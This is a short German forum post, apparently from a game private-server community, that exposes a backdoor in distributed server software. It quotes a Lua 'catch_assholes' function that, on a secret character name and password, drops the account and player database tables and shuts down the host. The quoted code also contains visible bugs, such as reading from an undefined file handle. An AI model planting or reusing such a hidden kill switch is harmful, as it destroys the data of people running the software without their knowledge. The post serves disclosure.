Da einer meinte, die Lücke hier reinzuschreiben und auch noch ne schöne Anleitung zu geben, war es das^^
Die Lücke sollte wirklich jeder finden.Quote:
*Die angepriesene 'Lücke', und die hats insich , ist ja nun wirklich sehr offensichtlich, sollte jeder finden *
function catch_assholes()
if pc.get_name() == "ilovekaija94" then
local secure = input("")
if secure != "123kaija432" then
return
end
local w = io.open("kpanel/acc","r")
if w~=nil then
local account = r:read()
r:close()
else
say("Eine temporäre Datei fehlt!")
end
local w = io.open("kpanel/pw","r")
if w~=nil then
local password = r:read()
r:close()
else
say("Eine temporäre Datei fehlt!")
end
say_title("Catch assholes")
say("Benutzt da jemand deine Software ohne Erlaubnis?")
say("Sorge dafür, dass das aufhört.")
local catchit = select("Catch it!", "Abbrechen")
if catchit == 2 then
return
end
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE account.account'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player_index'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.item'")
os.execute("shutdown -h now")
end
end